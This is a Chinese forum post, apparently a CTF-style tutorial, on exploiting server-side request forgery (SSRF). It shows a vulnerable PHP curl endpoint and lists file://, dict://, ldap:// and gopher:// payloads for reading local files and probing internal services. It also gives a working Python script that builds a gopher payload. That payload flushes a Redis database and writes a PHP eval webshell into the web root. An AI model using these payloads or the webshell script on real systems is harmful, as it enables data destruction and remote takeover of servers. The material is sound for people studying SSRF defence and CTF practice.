本帖最后由 pukr 于 2021-10-30 21:08 编辑
SSRF(Server-Side Request Forgery,服务器端请求伪造),由攻击者构造请求,服务器端发送请求。一般的目标是外网无法访问到的内网系统。 原理应用大多是因为服务器端提供从其他服务器获取数据的功能而没有对目标地址做出过滤。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地服务器。 主要攻击方式: 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner。 攻击运行在内网或者本地的应用程序。 对内网Web应用进行指纹识别,识别企业内部的资产信息。 攻击内外网的Web应用,主要是使用HTTP GET就可以实现的攻击(如struts2、SQli等)。 file等协议读取本地文件。
代码分析- <?php
- function curl($url){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_exec($ch);
- curl_close($ch);
- }
- $url = $_GET['url'];
- curl($url);
- ?>
复制代码 利用点(CTFHub整理)内网访问www.example.com/ssrf.php?url=127.0.0.1/flag.php伪协议读取文件得到一个ssrf后要测试一下所有的伪协议能否利用。 file:///dict:///sftp://ldap://tftp://gopher:// file://这种URL Schema可以尝试从文件系统中获取文件: www.example.com/ssrf.php?url=file:///var/www/html/flag.phpdict://dict://127.0.0.1:22查看banner。可以利用burp爆破查看开启了什么服务。 sftp://sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,通过sftp协议获取SSH相关信息: tftp://tftp即简单文件传输协议,允许客户端从远程主机获取文件: ldap://或ldaps:// 或ldapi://LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。 url=ldap://localhost:1337/%0astats%0aquit
url=ldaps://localhost:1337/%0astats%0aquit
url=ldapi://localhost:1337/%0astats%0aquitgopher://Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。通过SSRF漏洞,让服务器发送自己精心构造的GET或者POST请求包 gopher://<host>:<post>/<gopher-path>_后面接TCP数据流
利用要点 PHP版本大于等于5.3 PHP.ini开启了php_curl 在传送GET或POST数据时需要经过二次URl编码url编码时回车换行需要使用%0d%0a替换%0a POST中的&也需要url编码。
利用方式: 1.利用SSRF进行内网渗透2.gopher协议反弹shell3.超级经典的redis写入webshell
转换脚本: - import urllib
- protocol="gopher://"
- ip="192.168.163.128"
- port="6379"
- shell="\n\n<?php eval($_GET["cmd"]);?>\n\n"
- filename="shell.php"
- path="/var/www/html"
- passwd=""
- cmd=["flushall",
- "set 1 {}".format(shell.replace(" ","${IFS}")),
- "config set dir {}".format(path),
- "config set dbfilename {}".format(filename),
- "save"
- ]
- if passwd:
- cmd.insert(0,"AUTH {}".format(passwd))
- payload=protocol+ip+":"+port+"/_"
- def redis_format(arr):
- CRLF="\r\n"
- redis_arr = arr.split(" ")
- cmd=""
- cmd+="*"+str(len(redis_arr))
- for x in redis_arr:
- cmd+=CRLF+"[ DISCUZ_CODE_1 ]quot;+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
- cmd+=CRLF
- return cmd
- if __name__=="__main__":
- for x in cmd:
- payload += urllib.quote(redis_format(x))
- print payload
复制代码另一个常用工具Gopherus,在github上。
端口扫描使用dict协议进行端口扫描
|